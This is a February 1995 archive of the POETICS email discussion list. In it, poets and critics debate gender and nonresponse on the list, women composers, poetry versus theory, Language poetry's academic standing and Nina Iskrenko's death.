--- let's read Pauline Oliveros' _Software for PEOPLE_ & then "talk" about it: no gauntlets.

--- let's read Susan McClary's _Feminine Endings: Music, Gender, and Sexuality_ (Minnesota, 1991) & then re-visit Tom Mandel's comments on sonata "theory" / "form"

2.) thanks to Kali for her brilliant posts (readings of posts) & reference to Susan's post (re. multiculturalism) --- which I missed originally --- which all reminds me of a paper I heard at the Hoboken-Russian-Talisman conference where one critic spoke of Howe-Johnson-Cage's "use" of Thoreau's "Indians" yet all the theory was Western European:

what about Greg Sarris' _Keeping Slug Woman Alive: A Holistic Approach to American Indian Texts_ (CA, 1993)

what about Diane Glancy's _Claiming Breath_ (Nebraska, 1992)

what about Gerald Vizenor's _Manifest Manners: Postindian Warriors of Survivance_ (Wesleyan, 1994)

3.) Question: again from _Disembodied Poetics_ ... .

--- Amiri Baraka (16): "...if you're talking about language qua language, what's different about that from the New Critics?"

(back into hiding?), Mark Nowak

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314. **Kali Tal**
Re: Boy Talk
Sun 19 Feb 1995

Snide is as snide does, Ira Lightman.

> *I guess that I'm included in Kali Tal's statement that males didn't respond to messages by women.*

I guess you are, if you are a male person and did not respond to messages by women.

> *I must say I haven't noticed anyone pick up 2 per cent of anything I've posted to the list, about children's rights, ablism, or AIDS activism.*

I am interested in nonresponse that is part of a larger pattern. It may be that nonresponse to the particular issues you mention signals an attempt on the part of the POETICS community to "disappear" those issues. Nonresponse to those issues, however, does not indicate that my observations of nonresponse to women as a group are inaccurate or insignificant.

> *But then, if I may make a clearly signalled snide remark,*

And why would you do this? Why is a snide tone required? Not that I am surprised--women who bring up gender inequity in, ahem, mixed company, are often treated to snide comments, as if we were, by our mere presence, threatening and offensive, needed taking down a notch...

> *if the alternative is to co-opted into the movement one may be "carving" (interesting metaphor), in the way that Kali Tal seemed to "welcome" Juliana Spahr as an ally when Juliana Spahr was raising some issues Kal i Tal didn't respond to at all, then I shall happily go back to lurking from *all* sides of this discussion.*

And whose "alternative" is this? Your response is a nonresponse, it is not directed *to* me, nor to any of the women who posted to POETICS. Rather, it is a summary dismissal based upon no apparent consideration of *any* of the issues raised by *any* of the women; a declaration of freedom from obligation to respond, as if nonresponse were a virtue; a rhetorical device used by a fellow who would rather not say so baldly, "Hey, let's talk about *me* for a minute." Since it does not include a constructive suggestion for a new topic, I read it simply as a sulk. I welcomed Juliana Spahr's *voice* (hello, Juliana); whether she is an ally or not is no consideration of mine, since I am not currently fighting a war or planning a coup. I *am* interested in hearing more women's voices *and* more men's voices, even if they are raised to disagree with me.

The role of curmudgeon suits some men well, though when *women* attempt to play it they are most often redefined as witches, bitches, or shrews.

And it is very good to see the lurkers come out to play.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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315. Jeffrey Timmons
Re: boy talk
Sun 19 Feb 1995

In Re: Mark Nowak's post:

As far as women and music, I've been overwhelmingly impressed with Kaija Saariaho--exploring the limits of noise/music. Great stuff. Any other composers I should know about?

Jeffrey Timmons

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316. Mark Nowak
Women COmposers
Sun 19 Feb 1995

By way of
Other composers:

What Next Recordings
PO Box 344
Albuquerque, NM 87103

--- two series: (A). Radius ("Transmissions from Broadcast Artists")
2 volumes include 6 works total, 3 by women composers
(Jackie Apple, Sheila Davies, Helen Thorington)
note: Helen is executive producer of New American Radio.

(B). AERIAL: 4 compilation CD's to date, including
many of the women composers mentioned in both posts.

What Next also did "solo" CD's by Jin Hi Kim, Pauline Oliveros, Alison Knowles, & others.

DICE
c/o Elise Kermani
343 6th Avenue #2R
Brooklyn, NY 11215
[redacted]
(this may not be current: as of 1993)

CRIo
73 Spring St.
New York, NY 10012
(discs by / with Pauline Oliveros, Julia Wolfe, Allison Cameron, etc.)

A good journal source for this ...
Musicworks
179 Richmond Street West
Toronto, Ont. CANADA
M5V 1V3
[redacted] (journal edited by Gayle Young)

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317. cris cheek
Composers
Sun 19 Feb 1995

---

and

Iva Bittova
Virginia Firnberg
Zap Mama
Angelique Kidjo
Oumou Sangare
Sianed Jones
Annea Lockwood
Shelley Hirsch
Zeena Parkins
Chekka Remitti
Judith Weir
Jenni Roditi
Errolyn Wallen
Marilyn Crispell
Anna Homler
Amina Claudine-Myers
Sylvia Hallett
PJ Harvey

Katalin Ladik (anybody know what she's been doing lately?)
Laurie Anderson
Diane Labrosse
joni Mitchell
Nina SImone
Jane Cortez
Moe Tucker
Amy Koita
La Donna Smith
Amy Denio
Ikue Mori
Karen Finlay
Elastica
Stevie Wishart
Jo Truman
Joan La Barbara

. . .

seems homogenous to me

p.s. serious apologies if I've got names muddled

I'm posting out of curiosity

↑ Index

318. Mn Center For Book Arts
Re: i'd like to introduce myself...
Sun 19 Feb 1995

Dear Carl: As a reader, friend, & publisher of bp Nichol's, I'm glad to have you here. I encourage you to bring nichol issues out here, as I believe his is a poetics vastly undervalued in America, if not in Canada, and that his various approaches to theory, poetics, and writing involve a joy which is rare and needed.

charles alexander

↑ Index

319. Mn Center For Book Arts
Re: boytalk (fwd)
Sun 19 Feb 1995

Dear Kali, Susan, Juliana, & all poetics list --

sometimes I think there is little response from men to some of what you post simply because what you post seems clear & right, and we don't always know what we're doing that makes the situation you decry so difficult. We hope we're not guilty but know we probably are. I should drop the we and say that I want to hear you. I think that what I've learned about poetry & poetics in the last two decades has come more from women than men, yet that the women's work has been comparatively undervalued in various quarters.

perhaps it would be a good idea for the men to simply be silent for a time and let the women on this list have the forum, although I also hope dialogues (multilogues) of various sorts open and continue.

charles alexander

↑ Index

320. **Mn Center For Book Arts**
Re: music
Sun 19 Feb 1995

Jeffrey & Mark - Yes, much more music to attend, by "women of both sexes," as Cynthia Miller likes to call them. What occurs immediately is Ladonna Smith, most often heard with Davey Williams, "trans museq," etc. Also approaches the limits of noise, but what a beautiful noise . . .

charles alexander

↑ Index

321. **Mn Center For Book Arts**
Re: Composers
Sun 19 Feb 1995

Thank you for all of the composer information. My listening work is cut out for me. That could be a good reason for not de-lurking in near future.

charles

↑ Index

322. **Mn Center For Book Arts**
Re: i'd like to introduce myself...
Sun 19 Feb 1995

I realize I wrote in a poet recently, concerning bp Nichol, "a poetics vastly undervalued in America, if not in Canada," and feel like an idiot, because of course I should have said "in USA, if not in Canada," as, last time I checked, Canada was still in North America, a geographical fact for which I am grateful.

charles alexander

↑ Index

323. Jeffrey Timmons
Re: Composers
Sun 19 Feb 1995

Oi, great list, Cris, but I was wondering about your inclusion of more popular sorts of music. Not that I have a thing about making hard and fast distinctions between the popular and . . . what have you, but was wondering what the criteria were for your list. I just listened today to a Requiem for Bosnia by an amazing composer (can't remember her name right now). Very interesting.

Jeffrey Timmons

↑ Index

324. Susan Schultz
Re: Man Talk
Mon 20 Feb 1995

One clarification: I didn't mean to suggest that I hadn't gotten responses to my postings. But it did strike me as interesting that I received a lot of backchannel postings from women (and some from men), some of whom rarely, if ever, send frontchannel messages.

Susan

↑ Index

325. cris cheek
Composers
Mon 20 Feb 1995

Hi Jeffrey, it wasn't intended to (or pretending to) be an exhaustive list. The criteria were - who can I think of right now sitting here, who comes right to mind - a stretched diversity of practice - enough that some will know as to become more curious about the others not previously heard of - and I'd hoped to:

swing into more discussion of exactly the issue you've picked up on
i.e. distinctions between 'high' art and 'popular' art
and bridge to the issue of cultural diversity.
as well as hopefully get to hear about other composers who I don't know

Also, and more ironically the suggestion that the list seemed homogenous was to provoke those discussions. On what bases homogenous - surely not merely beause they are all women>

I'll grant that some of the inclusions (I can't remember 'em all and don't have the list out) such as Moe Tucker were deliberately more edgy. But as co-creator on Velvet Underground 'classics' she's been instrumental in one of those rarer moments when the illusory screen between the high and the popular gets rent. OK so now where's Tina Weymouth, Kirsten Hirsch and many many more - I know I know it's cats out of the bag time just come round again. Certainly with the African musics these distinctions barely exist. Which is where some of this discussion would begin to open towards other issues that Kali Tal and Susan Schultz are raising. But there's another interesting issue here. Women composers are involved (admittedly in smaller numbers than men, I'd guesstimate about the same kind of proportions as exist on this list) in all fields of music - making. They combine melody, rhythm and noise with as many variations as male composers. It's therefore hard to begin talking about gender in terms of 'preference' field of music and the extension can be made throughout not just art-form practice but human activity. The problems of course have been prolonged patriachal structure, disenfranchisement and repression of opportunity. What do you feel about it?

Thanks for the contact. If you've others I should hear I be very happy to get a return. As Eric Mottram has just been quoted as saying 'there's nothing more exciting than something you don't know about'. Here's to human ingenuity and curiosity.

best
cris

↑ Index

326. Tom Mandel
Re: boy talk
Mon 20 Feb 1995

Ed, what horrible news. Nina was a young - and so very brilliant -
woman. Do You know what caused her death?
Tom Mandel

↑ Index

327. **Gary Sullivan**
Re: New from Sun & Moon
Mon 20 Feb 1995

---

de Angeles implies that it's impossible to be a "great" poet (what does this mean? will we see a series from Sun & Moon, an offshoot of the "classics" series: "Sun & Moon Great Poets #___"?) if you don't have theoretical insights into other great poets & go public with 'em. (Assuming "who does not represent them on the stage of a conceptual power" means "publishing" or "lecturing" or otherwise airing, publicly.) If this is true--extending to include prose & drama--G.K. Chesterton's a "great" writer (his book on Shaw's brilliant & original) but Gertrude Stein, Mina Loy, Djuna Barnes, Clark Coolidge are only fair to middling, despite the obvious influences these writers have had on poets & writers working today. This is not to say Stein & etc. didn't have theoretical insights into Whoever, but that they didn't--so far as I know--take 'em public. If anything's a "pathetic mythology" it's this notion that a poet MUST air his/her ideas, *as* theory, must create (& promote) a body of theoretical work, separate from the poetry, in order to be taken seriously. Stein's _How to Write_ and her _Lectures_ don't seem to me separate entities, don't seem terribly different in approach or effect from (say) _A Novel of Thank You_ or any of the things collected in the Yale volumes. de Angeles' notion that theory & poetry are, MUST be separate seems awfully reductive, as though one's poetry (or other creative work) can't possibly include one's theoretical insights, etc. I think the reason why language poetry has been so (relatively) quickly embraced by academe whereas Stein, Loy, Barnes & Coolidge (& others who didn't develop separate bodies of "theoretical" writings) were ignored for so long has a lot to do with the possibility that people in academic institutions aren't particularly good readers, *need* demarcations like "This is Poetry" "This is Theory"--can't (for whatever reason) read Stein or whoever and see that, indeed, she addresses what she's doing (& why she's doing what she does) in the "creative" work. I respect people like Coolidge and Tom Raworth who don't develop bodies of (separate) critical writings in part because they seem to respect *me*, the reader, my intelligence. "It's all there in the work if you've taken the time & trouble to suss it out," they seem to be saying. This is not to say that I disrespect those who *do* supply bodies of (separate) theoretical writings; I don't. But, I'm puzzled by this notion that a poet, to be taken seriously, *must* provide a body of critical work as well.

--Gary Sullivan

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

On Sun, 19 Feb 1995, Charles Bernstein wrote:

> *NEW FROM SUN & MOON*
>
> *_Finite Intuition: Selected Poetry and Prose_, by Milo de Angeles, tr. with an intro. by Lawrence Venuti, has just been published by Sun & Moon Press. This is the last selection in the book:*
>
> *POETRY AND THEORY*
>
> *The Greek _theoria_ signifies "reflection," but also "solemn embassy," "spectacle." And perhaps there can be no great poet who has not had theoretical insights into other great poets, who does not represent them on the stage of a conceptual power. Yet there is that pathetic mythology of the poet who--devoid of this power--nevertheless knows how to "tell a story" or to "dream," as if dream were the land where the thorn of intellect grows dull. It happens that some line open the veins of their own thought until it is beyond recognition. But this clenched thought _must have been there_: only then can the lines enter the region which it doesn't know! This is delirium, in the most distinct accent on the calendar. Yet if those lines remain in doubt, if they are worried about not having thought enough...how much unworthy poetry of ideas is born from this worry...how many genuflections to philosophers...ho many lines get cornered in the poetry of sensations. There should be no submission of theory to poetry, if they are Greek sisters. And no comparison, because these two strangers _must_ have loved each other.*
>
> *(C) 1995 by Milo De Angeles and Lawrence Venuti. Used by permission of the publisher.*
>
> *********
>
> *Also just out this month from Sun & Moon:*
>
> *MADE TO SEEM by Rae Armantrout*
>
> *Rae Armantrout read this past week at UB, at the Poetics Program's Wednesday at 4 Plus series. Here is my introduction:*
>
> *Rae Armantrout poem "Extremities" ends with the line "the charmed verges of presence": and indeed her poems are charms, virtual presents.*
> *Armantrout's poetry is notable for it's precision and elegance, it's seismographic ability to chart the slightest shifts of social register on the city streets, in the suburban malls, and in the university corridors. In an early poem she writes "The smallest / distance / inexhaustible" -- a poetic credo of commitment to the specific scale of an unadorning everyday life, words lived in their pajamas as much as their toupees. "The smallest / distance / inexhaustible" -- providing a reservoir of wry, wacky, wicked,*

> *torqued and torquing observations, skewering any bloated send of proportion, skewing lines of logic to make poems of sentient, radiant sense: returning us to the pleasures of reflection and consoling, indomitable wit.*
>
> *--Charles Bernstein*

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328. Nick Lawrence
An Ad for Spirits
Mon 20 Feb 1995

I was communing with my friend CB the other day, an active lurker on this list. He was curious about recent references to "global alcohol," which sound most hopeful to him, promising as they do an anaesthetizing of the persistent pain he associates with aesthetics, from which he says he suffers acutely--which is to say not prettily. (Likewise he maintains an active interest in all manner of dull opiates, legal or not, which explains why, when he was over here yesterday morning for decaf and the papers, he skipped right over the Times magazine article on who's who in the poetry world and went straight to the lushly illustrated cover story on cannabis.) I asked him about his views on the poetry/theory thread. After denying any easy parallels with the gender-talk thread, he said it reminded him of the rumpus raised about a composer he used to know.

"'A guy who reasons so much about his art cannot produce beautiful works naturally'--so some people *said*," he murmured, "thereby depriving genius of its rationality and reducing it to a purely instinctive and, so to speak, vegetable function."

(CB tends to be a bit oldfashioned when it comes to genius, greateness, etc.) What about alchemical cries of Foul re creating art out of theory, I asked.

"An utterly wacky view. Critic into poet--that would indeed be a wholly new event in the history of the arts, a reversal of all psychical laws, a monstrosity."

But not vice versa, I prompted.

"On the contrary, all great poets naturally, inevitably become critics. I feel sorry for poets guided by their instincts alone; I regard them as incomplete. In the spiritual life of great poets, a crisis is bound to occur that leads them to regard their art critically, to seek the mysterious laws that guided them . . ."

It won't surprise the reader to learn that CB regarded the poet as the best of all critics.

Then, feeling relaxed, we took a recent post to the list on this topic and discovered to our surprise that it was actually an instance of skillfully worded negative advertising. Follows our collaboration intended to make this clear--though, as CB remarked, clarity isn't everything, even when it comes to critics/spirits.

> *Every "poem" (every "fact" in fact) is imbued with and attached to a theoretical structure which both informs it and from which it does not separate except in the minds of those who would create a transparent simulacrum of reality where the pure is real. Fortunately these isolated realities are fiction although some use the possibility to inform their misguided politics. We have poetries which are embossed with their cultures and some readers and even some writers pretend not to see that. Thoughts are not purer than bodies and poems are the products of both and as such do not exist in isolation, nor can they be distilled into a spirit, although some use the possibility to inform their misguided poetics. James*

AN AD FOR SPIRITS

Every poetic "mope" (every "fruct" in fract) is imbued with and attacked by a theoretical alcohol which both informs it and from which it does not separate except in the haze of those who would create a transparent vodka simulacrum where the pure is alcohol-free. Fortunately these isolated teetotalers are not themselves distillers although some use the wassailability to reform their misguided drinking habits. We have bottles which are embossed with throat cultures and some drinkers and even some distributers pretend not to see that. Draughts are not purer than toddies and unthinking mopes are the products of both and as such do not exist in desolation, nor can they be distilled into a salable spirit, although some use the possibility to formalize their mislabeled poetics.

James 3:3 ("Behold, we put bits in the horses' mouths, that they may obey us; and we turn about their whole body")

--Art Laid Bare Productions 1995

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329. **Jeffrey Timmons**

Re: Composers

Mon 20 Feb 1995

On Mon, 20 Feb 1995, cris cheek wrote:

> *I'd hoped to:*
> *swing into more discussion of exactly the issue you've picked up on*
> *i.e. distinctions between 'high' art and 'popular' art*

> *and bridge to the issue of cultural diversity.*
> *as well as hopefully get to hear about other composers who I don't know*

Good, I was too lazy to further the issue, but now it's been raised. I'm also concerned, though, that we don't repeat the problem of owning this particular discussion to ourselves . . . . You know? I've been finding it rather difficult to engage with the Boy Talk posts and not for the lack of interest . . . until this issue ... made itself known. Anyway: it's very interesting the gender politics of music. At least with lit I believe there has been either a more concerted effort on the part of writers/critics to bring/integrate/etc women into view. And traditionally there have been a great deal of women who wrote--something should be said about the habitating of this interiorized space of writing: diaries, notebooks, etc. that are very much part of an ecriture feminine that does not necessarily have to translate into public voice. Hm. Nonetheless, writing has had, I believe, more of a gender equity than visual arts or music. Particularly the latter. This is not to say it has been blind where gender is concerned, but that writing seems to have offered women more of an opportunity to create. This is a point my partner makes (who works for the National Museum of Women in the Arts) when she talks about the different creative opportunities available for women. Art, she says, requires more than pen and paper--and that is a major reason that women do not always have the opportunity to express themselves. Even so, they are often the recipients of a sexism that is either unable or unwilling to engage their work with any degree of critical engagement--except to write it off. When it comes to music I think the gender differences are even more striking than visual art--it's almost as if the more one enters the traditional realm of HIGH ART the less women are present. And music, traditionally, has presented great obstacles in terms of resources to producing it. And to get around to your point about the relation between high/low and diversity, perhaps what is of particular value in the postmodern effacement of the differences between high/popular that women now have as much access to the means of production. This is particularly important if we are talking about the production of symphonic, orchestral, chamber, or serious music (I realize the limitations of these terms, but I want to specify my own interest in the production of women in this area--no matter how difficult it might be to distinguish it from ...). I am also interested in how women have made use of the tradition of western music and its 20th century developments, to what purposes they are putting serialism, cacophony, mixed mediums, etc and why these are not as well-recieved as their male counter parts who make use of the same tradition.

Requiem for Bosnia: Victoria Jordanova. I hope I got that right. Wonderful piece.

Jeffrey Timmons

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330. Joe Aimone <[redacted]>" <[redacted]>

Re: We need presenters for MLA (fwd)

Mon 20 Feb 1995

I am forwarding this call for papers to all lists and individuals I think might be interested.

Joe Aimone
University of California at Davis
[redacted]

---------- Forwarded message ----------
Date: Sat, 18 Feb 1995 14:51:33 -0800 (PST)
From: Joe Aimone <[redacted]> <[redacted]>
To: The MLA Graduate student Conference
<[redacted]>
Subject: Re: We need presenters for MLA

I will be chairing one of the sessions sponsored by the Graduate Student Caucus at the MLA. The call for papers appears in the current issue of the MLA Newsletter. Electronic mail submissions are acceptable but will not be acknowledged unless your proposal is accepted for the panel. If I accept your proposal for the panel, I will need a brief cv/bio, which you may include with your proposal or provide on request. Please feel free to print, archive or forward this call to all interested parties.

Joe Aimone
University of California at Davis
[redacted]

CALL FOR PAPERS

The Graduate Student Caucus of the MLA will sponsor a session at the 1995 convention called

CONVERSE BETWEEN CRITIC-WRITER AND WRITER-CRITIC

How seriously can critical theorists take creative writers as theorists? How seriously should creative writers take critics as creative writers? Critical and creatve responses by or about creative writers and critics sought. 1-2 page abstracts to -

Joe Aimone
Dept of English
University of California, Davis
Davis, California 95616

email submissions:
[redacted]

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331. Stephen Galen Cope

composers

Mon 20 Feb 1995

Regarding composers:

Thanks, cris, for the list. A few additions:

Najat Aatabou
Elis Regina
Julie Kabat
Sona Diabate
Sorry Bamba
Carmen Linares
Sanougue Kouyate

It may warrant noting that "composer" as used in reference to a Western classical tradition need not necessarily apply to traditions in which the distinctions made between improvosation/ composition/ interpretation/ performance are minimal, if imposed at all.

It may also be worth noting the relevance to poetics of the above consideration.

Anyway, good sources for some of the above mentioned artists (and many others):

Stern's Music
598 Broadway
7th Floor
New York, NY 10012
[redacted]

Original Music
418 Lasher Road
Tivoli, NY 12583
[redacted]

Stern's is run by Ken Braun, who is one of the most knowledgable men in the country regarding African music, and their catalog is the best source

I've come across for both classical and modern music
from around the world.

Original is run by John Storm Roberts, whose book
"Black Music of Two Worlds" is an excellent introduction
African music on both sides of the Atalntic.

Hope this is helpful/ interesting, etc...

-Stephen Cope

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332. Greg Keith
Tapeworm puts poetry village on the map
Tue 21 Feb 1995

Copyright: 1999 by The Anti-Hegemony Project
Date: 22 Mar 99 03:22:59 EST
Lines: 14

DEEP CYBERSPACE (AHP) - A 26-foot long tapeworm was caught by weary computing engineers yesterday, who claimed the foul-smelling creature had been feeding off the Net. Now on display, the worm has turned a tiny Cyberspace village into an unexpected tourist attraction, the Co-Poetry News Network reported yesterday. Engineers ``netted'' the basking tapeworm -- biggest of its kind ever seen in the area -- and used ropes to extract it from a gaping terminal in Charles Bernstein's office in Clemens Hall at SUNY Buffalo. Bernstein, away on a reading tour, had left the terminal unattended and during this time the tapeworm -- nicknamed ``Benji'' by engineers -- apparently nestled into an intractable position. The tapeworm drew carloads of summer vacation tourists, said CNN, which showed children climbing onto the giant carcass and posing for snapshots.

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333. Ron Silliman
Nina Iskrenko
Tue 21 Feb 1995

Nina Iskrenko, who was only 43 or 44 when she died, had one of the sharpest wits I've ever encountered. She would have known exactly what to make of the fact that her obit on this list and the one additional comment on it thus far both occurred under the header "Re: Boy Talk."

Sheeesh, as Tali would say.

Readers who don't know Iskrenko's poetry should check out _Third Wave: The New Russian Poetry_ edited by Kent Johnson & Stephen Ashby (Ann Arbor: U of Michigan Press, 1992), with an intro by Alexei Parshchikov and Andrew Wachtel. There are several excellent poems there and the book is generally a good introduction to the entire scene in Russia.

Ron Silliman

[redacted]

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334. **Spencer Selby**

Re: Love Affair

Tue 21 Feb 1995

Milo de Angeles gives the lie to himself. No sisterly love that. Rather, theory takes a bow as your typical chauvinistic, patriarchical man, who's more in love with his view of the relationship (his reasonings and desires) than he is in love with his partner and what _she_ might have to offer or teach.

The piece is illuminating after all.

Spencer Selby

> *On Sun, 19 Feb 1995, Charles Bernstein wrote: >*
> *NEW FROM SUN & MOON*
>
> *_Finite Intuition: Selected Poetry and Prose_, by Milo de Angeles, tr. with intro. by Lawrence Venuti, has just been published by Sun & Moon Press. Thi is the last selection in the book:*
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> *The Greek _theoria_ signifies "reflection," but also "solemn embassy," "spectacle." And perhaps there can be no great poet who has not had theoretical insights into other great poets, who does not represent them on the stage of a conceptual power. Yet there is that pathetic mythology of th poet who--devoid of this power--nevertheless knows how to "tell a story" or "dream," as if dream were the land where the thorn of intellect grows dull. It happens that some line open the veins of their own thought until it is beyond recognition. But this clenched thought _must have been there_: only then can the lines enter the region which it doesn't know! This is delirium in the most distinct accent on the calendar. Yet if those lines remain in doubt, if they are worried about not having thought enough...how much unwort poetry of ideas is born from this worry...how many genuflections to philosophers...ho many lines get cornered in the poetry of sensations. Ther should be no submission of theory to poetry, if they are Greek sisters. And*

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> *Also just out this month from Sun & Moon:*
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> *MADE TO SEEM by Rae Armantrout*
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> *Rae Armantrout read this past week at UB, at the Poetics Program's Wednesday at 4 Plus series. Here is my introduction:*
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> *Rae Armantrout poem "Extremities" ends with the line "the charmed verges of presence": and indeed her poems are charms, virtual presents.*
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>
> *--Charles Bernstein*

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335. Michael Boughn
refried theory and deified beans
Tue 21 Feb 1995

Dear Spencer:

Thanks for responding. One does feel invisible around here sometimes, even when decloaked. It's reassuring to be addressed occasionally (like the holographic emergency medical officer on ST Voyager, I just want a name) Anyway, I had some further thoughts about this theory thread, which occasionally, it seems to me, threatens to collapse into an absurdity of miscommunication.

It would be interesting to track the history of the institution of "theory", especially as it replaced "philosophy" and "literary criticism" as the acceptable

form of explanation. People throw this word around like they know what it means, but I just get more confused. My own (admittedly limited) sense is that the recent popularization of theory as an institution is based on a kind of bastard marriage of Marxism and Freudism as they tried to hitch their marvelous 19th century systematic architectures of revelation onto the science bandwagon. From thence via Frankfurt, we sudddenly find ourselves in the midst of a world in which something called "under-theorization" has replaced certain "sins".

Papa Charlie (the absent father?) sends in his hit men (be they jazz musicians or imported Euro-brains) to try and get the kids to cool it by overwhelming them with the "obvious", as if this discourse of "theory" itself were, what did James Sherry call it, "transparent"? As if it didn't have a history. As if it weren't the center of a very specific world, one in which "practice" (another interesting institution) is "based on" certain abstract "principles" (Yikes! shades of Plato.) What does it mean in 1995 to affirm a world that looks like this? Does asking this question mean that I am anti-intellectual, that I don't want to "think" about poetry, that I just want to wallow in words like some kind of Romantic pig?

Well, given the responses here so it would seem.

Hang in there.

Mike

[redacted]

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336. James Sherry
Language Poetry
Tue 21 Feb 1995

It strikes me as appropriate that just after our exchange on the list about Language poetry that the New YOrk Times should mention it. so if any of you want to konw about Language Poetry, read the New York Times book review 2/20/95. The charts and text really give you the straight skinny about Language Poetry, although somehow the New YOrk school gets omitted. This article is indicative.

Please does anyone know the author of that piece, I want us all to thank her for her amazing understanding of the poetry world and the work of poets? Send her name and number in confidence to me. All inquiries will be understood. James

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337. **Bill Luoma**
Re: New from Sun & Moon
Tue 21 Feb 1995

Gary,

Nice post. I do feel stupid for not having a coherent body of theoretical work. No, I feel more guilty than stupid.

I like your point about the academy needing a good dose of marketing to pay attention to certain trends:

> people in academic institutions aren't particularly good readers, *need* demarcations . . .

You've got to hand it to the Lang Poets, they know marketing.

but, really, how entrenched is an L-P writing method in the university? Could we come up with a location matchup and some market data? L-P infiltration appears to have been sucessfully implemented in Buffalo, UC San Diego, San Francisco State, Brown, Sonoma, Simon Frazer, Albany (no), Toronto?, Montreal?, and say 20 more campuses for good measure versus the rest of the colleges and universities who offer writing programs. That's about 30 LPs versus ____ . Can anyone fill in the blank?

bluoma

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338. **Edward Foster**
Re: Nina Iskrenko
Tue 21 Feb 1995

---

my apologies, ron, for having put the announcement re: Nina's death under "boy t

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339. **Edward Foster**
Re: Nina Iskrenko
Tue 21 Feb 1995

Third Wave is a good source for Iskrenko translations, but see also those in Exa

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340. Edward Foster
Re: Nina Iskrenko
Tue 21 Feb 1995

In answer to Tom's question, I assume Nina died of cancer, from which she has su

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341. eric pape
Re: refried theory and deified beans
Tue 21 Feb 1995

Has anyone here read Viswanathan's new book about the history of "literary" studies in India? Basic assertion that literary studies in English began not in England or America, still under the classical mode of learning, but in India where it was used to "Anglicize" Indian subjects, ie, the teaching of English values through English literature meant to "replace" their own culture, which was obviously devalued as "primitive." My point is to suggest that if we want to historicize theory, a very good idea incidentally, we cannot forget to do the same for art, and for philosophy, and particularly not for "literary criticism.""Any document of civilization..." etc. Thanks, Eric.

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342. Alan Golding
Re: New from Sun & Moon
Tue 21 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Some thoughts (we hope) about theory and boy and girl talk and other matters, prefaced by the disclaimer that I had a system crash yesterday and lost four days' worth of posts and mail--so if I repeat what someone's already said, am not responding to someone, whatever, apologies.

Bill Luoma asks a statistical question about the "entrenchment" of LP writing method (a category I'd question, Bill, because I'm not convinced that there is a method in the same way that there seems to be a workshop method, and this absence of a "method" may explain what remains LP's relative academic marginality--its absence of a monolithic method doesn't endear it to creative writing programs. Whew--did that long parenthesis make sense?). But I'd fill in your blank, Bill, with "100s." One could find out from Associated Writing Programs. More generally, rumors of LP's academic entrenchment are (as Bill implies) greatly exagerrated. Two points: (1) there's a distinction to be made

between establishment in the academic side of English Depts. and in writing programs. I teach LP in academic English courses, but no one here exploits the possibilities of its method(s) in creative writing courses. (2) This so-called "entrenchment" gets exaggerated by LP's already entrenched opponents (a strategy that parallels the right's strategy in the NEH/NEA wars and in other fora--though I emphatically do not want to associate divergence from LP with the right, which would be silly). I'm just saying that despite an emergent body of criticism on LP, the increased visibility of particular poets, and so on, still a very small number of writers who might be associated with that increasingly amorphous-looking tendency are engaged in full-time academic work, nor do I think that their work exactly saturates syllabi nation-wide.

On the recent theory exchanges: interesting that the theory discussion and the boy/girl talk have been going on simultaneously but in parallel lines, without much crossover. What's the relation between theory (the tendency to theorize, the kind of theorizing that gets done) and gender? I'd like to hear from some of the female subscribers as to their take on the theory discussion. Does theory mean something to you (in "theory" and in practice) different from what it means to male participants (I'm not assuming that I know what it means to them, by the way)? I just have the intuition that there's a connection between these two current threads that's getting suppressed or not talked about or overlooked. Is it just coincidence that they're going at the same time, but separately? Given recent posts like Juliana Spahr's referring to boy's talk about boy's books, I suspect not. Y'all, as we say here in Kentucky, can let me know if I'm off base.

Also: "theory" means something different to academics and to poets. I think that what Spencer, James, and Tom have been debating as theory, I'd be more inclined to call poetics. Or at least I'd make this distinction, which is an institutional one, not an essential one: that in most current intellectual debate, "theory" means a certain body of poststructuralist texts and thought that, yes, obviously, is deeply tied up with the writing practice of many people on this list, but that is used in the academy to marginalize poetry. Or to put it bluntly, many more people in universities are interested in theory than they are in poetry. So: I just wanted to (re)call to people's minds this definition and use of "theory." LP has the wonderful power (as do Emily Dickinson and Wallace Stevens) to interest people who are also interested in theory. Sorry if this risks academicizing the whole issue unduly--just reporting from the site where I spend most of my time.

To Sandra (Braman): I was shocked by your report of Larry Grossberg's claim that doing pure theory (whatever exactly that would mean--I'm not sure--what would purify it, and how would one assess its purity?) was the only meaningful contemporary politics. I'd be interested to hear more about this, either on or off

line. On the surface it sounds like a kind of quietist reiteration of the old arguments about the political efficacy of deconstruction, but maybe I'm missing something.

Alan Golding

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343. Alan Golding
Re: refried theory and deified beans
Tue 21 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Eric--Could you please post the full citation for the Viswanathan book? Thanks.

↑ Index

344. Tony Green
Re: deified theories
Tue 21 Feb 1995

"By the way, Tony, with the place you give sound/voice in
poems where do you leave someone who just happens not to
have heard poetry aloud, or a deaf someone. I can't
see the disadvantage.
Surely one sensitivity being blocked serves well to
open others?

John Geraets
[redacted]"

Hi, good to see you de-lurk, John. I'll have to think about it, since I'm on duty enrolling students this a.m. I guess it must be a problem of limiting cases that you've raised, rarely possible to include these definitely, or exclude. This position has to be carefully looked into: it's about the process of thinking the text read as something someone is saying. If you were deaf, the usual pleasures and frustrations will no doubt intervene. How about pictures for blind people? Theory would be hard-pressed to cope.

Best wishes

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,

Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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345. Steve Evans
Re: Quote
Tue 21 Feb 1995

David,

In the last paragraph of "Cultural Criticism and Society," Theodor W. Adorno writes:

Cultural criticism finds itself faced with the final stage of the dialectic of culture and barbarism. To write poetry after the holocaust is barbaric. And this corrodes even the knowledge of why it has become impossible to write poetry today. Absolute reification, which presupposed intellectual progress as one of its elements, is now preparing to absorb the mind entirely. Critical intelligence cannot be equal to this challenge as long as it confines itself to self-satisfied contemplation." (_Prisms_. Trans. Samuel and Sherry Weber. Cambridge: MIT P, 1981.)

In Part Three of _Negative Dialectics,_ Adorno revised the statement.

